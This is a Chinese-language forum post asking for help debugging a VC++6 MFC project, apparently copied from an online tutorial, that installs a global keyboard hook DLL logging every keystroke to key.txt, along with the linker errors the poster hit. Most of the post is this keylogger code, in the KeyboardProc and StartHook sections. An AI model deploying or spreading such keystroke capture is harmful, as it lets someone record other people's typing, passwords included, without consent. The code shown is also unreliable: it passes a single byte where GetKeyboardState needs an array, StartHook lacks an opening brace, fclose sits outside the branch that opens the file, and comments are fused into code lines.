因为会写的比较详细,希望能耐心看。
1.建立钩子KeyboardHook.dll  (1)选择MFC AppWizard(DLL)创建项目Mousehook;  (2)选择MFC Extension DLL(共享MFC拷贝)类型;  (3)由于VC6没有现成的钩子类,所以要在项目目录中创建KeyboardHook.h文件,在其中建立钩子类:
class AFX_EXT_CLASS CKeyboardHook : public CObject 
{
public:
  CKeyboardHook();//钩子类的构造函数  virtual ~CKeyboardHook();//钩子类的析构函数public:
  BOOL StartHook(); //安装钩子函数  BOOL StopHook();//卸载钩子函数 
};  (4)在KeyboardHook.cpp文件的顶部加入#include "KeyboardHook.h"语句;  (5)在KeyboardHook.cpp文件的顶部加入全局共享数据变量:
#pragma data_seg("mydata")
  HHOOK glhHook=NULL;       //安装的鼠标勾子句柄 
  HINSTANCE glhInstance=NULL; //DLL实例句柄
#pragma data_seg()  (6)在DEF文件中定义段属性:
SECTIONS
mydata READ WRITE SHARED  (7)在主文件KeyboardHook.cpp的DllMain函数中加入保存DLL实例句柄的语句:
  glhInstance=hInstance;//插入保存DLL实例句柄  (8)键盘钩子函数的实现:
//键盘钩子函数
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
  char ch=0;
  FILE *fl;
  if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
  {
      if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
      {
          fl=fopen("key.txt","a+");   //输出到key.txt文件
          if (wParam==VK_RETURN)
          {
              ch=' ';
          }
          else
          {
              BYTE ks;
              GetKeyboardState(ks);
              WORD w;
              UINT scan=0;
              ToAscii(wParam,scan,ks,&w,0);
              //ch=MapVirtualKey(wParam,2); //把虚键代码变为字符
              ch =char(w); 
          }
          fwrite(&ch, sizeof(char), 1, fl);
      }
      fclose(fl);
  }
  return CallNextHookEx( glhHook, nCode, wParam, lParam ); 
}  (9)类CKeyboardHook的成员函数的具体实现:
CKeyboardHook::CKeyboardHook()
{
}CKeyboardHook::~CKeyboardHook()
{
  if(glhHook)
      UnhookWindowsHookEx(glhHook);
}//安装钩子并设定接收显示窗口句柄
BOOL CKeyboardHook::StartHook()

  BOOL bResult=FALSE;
  glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
  /*============================================================
  HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )
  参数idHook表示钩子类型,它是和钩子函数类型一一对应的。
  比如,WH_KEYBOARD表示安装的是键盘钩子,WH_MOUSE表示是鼠标钩子等等。   Lpfn是钩子函数的地址。   HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,
  该参数为钩子函数所在的DLL句柄。   dwThreadId 指定钩子所监视的线程的线程号。对于全局钩子,该参数为NULL。   SetWindowsHookEx返回所安装的钩子句柄。
  值得注意的是线程钩子和系统钩子的钩子函数的位置有很大的差别。
  线程钩子一般在当前线程或者当前线程派生的线程内,
  而系统钩子必须放在独立的动态链接库中,实现起来要麻烦一些。
  ===========================================================*/
  if(glhHook!=NULL)
  bResult=TRUE;
  return bResult; 
}//卸载钩子
BOOL CKeyboardHook::StopHook() 
{
  BOOL bResult=FALSE;
  if(glhHook)
  {
      bResult= UnhookWindowsHookEx(glhHook);
      if(bResult)
          glhHook=NULL;
  }
  return bResult;
}  (10)编译项目生成KeyboardHook.dll。
/*********************************************************************************************
到这里为止,前面的实现都没有出现什么问题,后面重点来了。请继续看
***********************************************************************************************/
  2.创建钩子可执行程序
  (1)用MFC的AppWizard(EXE)创建项目KeyHook;  (2)选择“基于对话应用”并按下“完成”键;  (3)在KeyHookDlg.h中加入包含语句#include "KeyboardHook.h";  (4)在KeyHookDlg.h中添加私有数据成员:
  CKeyboardHook m_hook;//加入钩子类作为数据成员
///////到这里就出问题了,提示error LINK2001:unresolved external symbol "public:virtual __thiscall CKeyboardHook::~CKeyboardHook(void)" ,然后我上网上查了下,发现有人有同样的问题,但是他不清楚怎么回事,但是给了一个解决的方法,就把构造函数和虚构函数都写到头文件里面去,然后我照做了,当然如果这样做的话就需要把我的共享数据段的定义也放在头文件,结果,编译,error LNK2005: "struct HINSTANCE__ * glhInstance" (?glhInstance@@3PAUHINSTANCE__@@A) already defined in KeyHook.obj之类的错误,不是一两个,给我的感觉就是没有完全加载到。至于dll,lib文件都拷贝了,动态链接库也设置了,但是错误依旧!另外,值得说明的是,这个是我在网上找到别人的程序,他的第一个建立文件的时候我觉得他第一步的时候是建立KeyboardHook项目名,而不是Mousehook/////////////  (5)链接DLL库,即把../KeyboardHook.lib加入到项目设置链接标签中;  (6)把OK按钮ID改为ID_HOOK,写实现代码:
void CKeyHookDlg::OnHook()
{
  m_hook.StartHook(); 
}  (7)关闭按钮实现:
void CKeyHookDlg::OnCancel() 
{
  m_hook.StopHook();
  CDialog::OnCancel();
}  (8)编译项目生成可执行文件;希望能帮我调试下,是这个代码实现原本的功能。我不晓得是不是我的编译器有问题,有点怀疑。我用的是VC++6。0